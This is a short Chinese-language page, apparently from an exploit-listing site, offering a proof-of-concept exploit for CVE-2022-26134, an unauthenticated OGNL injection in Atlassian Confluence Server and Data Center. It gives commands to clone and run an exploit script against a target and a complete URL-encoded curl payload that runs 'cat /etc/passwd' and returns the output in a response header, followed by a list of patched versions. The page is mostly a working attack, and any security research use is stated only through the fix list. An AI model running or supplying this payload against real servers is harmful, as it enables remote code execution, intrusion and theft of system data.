CVE-2022-26134 — CVE-2022-26134的概念验证利用程序，该漏洞是Atlassian Confluence Server和Data Center中的一个未经认证的OGNL注入漏洞，可实现远程代码执行。 | Kitploit

CVE-2022-26134 — CVE-2022-26134的概念验证利用程序，该漏洞是Atlassian Confluence Server和Data Center中的一个未经认证的OGNL注入漏洞，可实现远程代码执行。 | Kitploit

CVE-2022-26134 - OGNL 注入漏洞

在受影响的 Confluence Server 和 Data Center 版本中，存在一个 OGNL 注入漏洞，允许未经身份验证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。

PoC：

git clone https://github.com/kh4sh3i/CVE-2022-26134
cd CVE-2022-26134
python3 cve-2022-26134.py https://target.com CMD

使用 curl 命令的示例：

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"

然后，命令的执行结果将反映在响应头中的 X-Cmd-Response 参数中。

修复版本

已发布的版本 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1 包含对此问题的修复。

参考